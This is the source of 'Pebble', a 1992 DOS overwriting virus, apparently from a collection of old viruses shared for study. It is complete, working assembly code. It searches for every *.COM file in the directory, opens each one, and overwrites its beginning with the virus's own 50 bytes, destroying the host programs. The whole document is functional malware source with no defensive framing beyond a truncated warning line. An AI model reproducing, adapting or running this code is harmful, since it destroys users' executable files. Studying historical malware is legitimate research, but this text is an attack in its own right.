pebble.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        PEBBLE				         圹
;圹								         圹
;圹      Created:   21-Feb-92					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_0001e	equ	9Eh

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

pebble		proc	far

start:
		mov	ah,4Eh			; 'N'
		mov	cx,27h
		mov	dx,12Ch
loc_0001:
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jc	loc_0002		; Jump if carry Set
		call	sub_0001
		mov	ah,4Fh			; 'O'
		jmp	short loc_0001
loc_0002:
		int	20h			; DOS program terminate

pebble		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0001	proc	near
		mov	ax,3D02h
		mov	dx,data_0001e
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	ah,40h			; '@'
		mov	cx,32h
		mov	dx,100h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		retn
sub_0001	endp

		db	 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h

seg_a		ends



		end	start